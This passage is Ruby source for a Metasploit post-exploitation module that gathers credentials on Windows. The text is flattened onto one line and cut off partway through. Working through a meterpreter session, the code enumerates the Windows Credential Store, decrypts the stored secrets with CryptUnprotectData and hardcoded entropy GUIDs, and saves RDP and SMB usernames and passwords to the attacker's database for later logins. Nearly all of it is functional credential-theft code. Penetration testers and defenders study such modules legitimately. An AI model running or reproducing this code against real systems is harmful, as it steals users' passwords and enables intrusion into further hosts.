## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Post def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Gather Credential Store Enumeration and Decryption Module', 'Description' => %q{ This module will enumerate the Microsoft Credential Store and decrypt the credentials. This module can only access credentials created by the user the process is running as. It cannot decrypt Domain Network Passwords, but will display the username and location. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => ['Kx499'], 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_net_resolve_host stdapi_railgun_api stdapi_sys_process_attach stdapi_sys_process_get_processes stdapi_sys_process_memory_allocate stdapi_sys_process_memory_read stdapi_sys_process_memory_write ] } } ) ) end ############################# # RAILGUN HELPER FUNCTIONS ############################ def is_86 if @is_86_check.nil? pid = session.sys.process.open.pid @is_86_check = session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86' end @is_86_check end def pack_add(data) if is_86 addr = [data].pack('V') else addr = [data].pack('Q<') end return addr end def mem_write(data, length) pid = session.sys.process.open.pid process = session.sys.process.open(pid, PROCESS_ALL_ACCESS) mem = process.memory.allocate(length) process.memory.write(mem, data) return mem end def read_str(address, len, type) begin pid = session.sys.process.open.pid process = session.sys.process.open(pid, PROCESS_ALL_ACCESS) raw = process.memory.read(address, len) if type == 0 # unicode str_data = raw.gsub("\x00", '') elsif type == 1 # null terminated str_data = raw.unpack('Z*')[0] elsif type == 2 # raw data str_data = raw end rescue StandardError str_data = nil end return str_data || 'Error Decrypting' end def decrypt_blob(daddr, dlen, type) # type 0 = passport cred, type 1 = wininet cred # set up entropy c32 = session.railgun.crypt32 guid = '82BD0E67-9FEA-4748-8672-D5EFE5B779B0' if type == 0 guid = 'abe2869f-9b47-4cd9-a358-c22904dba7f7' if type == 1 ent_sz = 74 salt = [] guid.each_byte do |c| salt << c * 4 end ent = salt.pack('s*') # write entropy to memory mem = mem_write(ent, 1024) # prep vars and call function addr = pack_add(daddr) len = pack_add(dlen) eaddr = pack_add(mem) elen = pack_add(ent_sz) if is_86 ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 8) len, add = ret['pDataOut'].unpack('V2') else ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 16) len, add = ret['pDataOut'].unpack('Q<2') end # get data, and return it return '' unless ret['return'] return read_str(add, len, 0) end def gethost(hostorip) # check for valid ip and return if it is return hostorip if Rex::Socket.dotted_ip?(hostorip) ## get IP for host vprint_status("Looking up IP for #{hostorip}") result = client.net.resolve.resolve_host(hostorip) return result[:ip] if result[:ip] return nil if result[:ip].nil? || result[:ip].empty? end def report_db(cred) ip_add = nil host = '' port = 0 begin if cred['targetname'].include? 'TERMSRV' host = cred['targetname'].gsub('TERMSRV/', '') port = 3389 service = 'rdp' elsif cred['type'] == 2 host = cred['targetname'] port = 445 service = 'smb' else return false end ip_add = gethost(host) if ip_add.nil? return else service_data = { address: ip_add, port: port, protocol: 'tcp', service_name: service, workspace_id: myworkspace_id } credential_data = { origin_type: :session, session_id: session_db_id, post_reference_name: refname, username: cred['username'], private_data: cred['password'], private_type: :password } credential_core = create_credential(credential_data.merge(service_data)) login_data = { core: credential_core, access_level: 'User', status: Metasploit::Model::Login::Status::UNTRIED } create_credential_login(login_data.merge(service_data)) print_status("Credentials for #{ip_add} added to db") end rescue ::Exception => e print_error("Error adding credential to database for #{cred['targetname']}") print_error(e.to_s) end end def get_creds credentials = [] # call credenumerate to get the ptr needed adv32 = session.railgun.advapi32 begin ret = adv32.CredEnumerateA(nil, 0, 4, 4) rescue Rex::Post::Meterpreter::RequestError => e print_error('This module requires WinXP or higher') print_error("CredEnumerateA() failed: #{e.class} #{e}") ret = nil end if ret.nil? count = 0 arr_len = 0 else p_to_arr = ret['Credentials'].unpack('V') if is_86 count = ret['Count'] arr_len = count * 4 else count = ret['Count'] & 0x00000000ffffffff arr_len = count * 8 end end # tell user what's going on print_status("#{count} credentials found in the Credential Store") return credentials unless arr_len > 0 if count > 0 print_status('Decrypting each set of credentials, this may take a minute...') # read array of addresses as pointers to each structure raw = read_str(p_to_arr[0], arr_len, 2) pcred_array = raw.unpack('V*') if is_86 pcred_array = raw.unpack('Q<*') unless is_86 # loop through the addresses and read each credential structure pcred_array.each do |pcred| cred = {} if is_86 raw = read_str(pcred, 52, 2) else raw = read_str(pcred, 80, 2) end cred_struct = raw.unpack('VVVVQ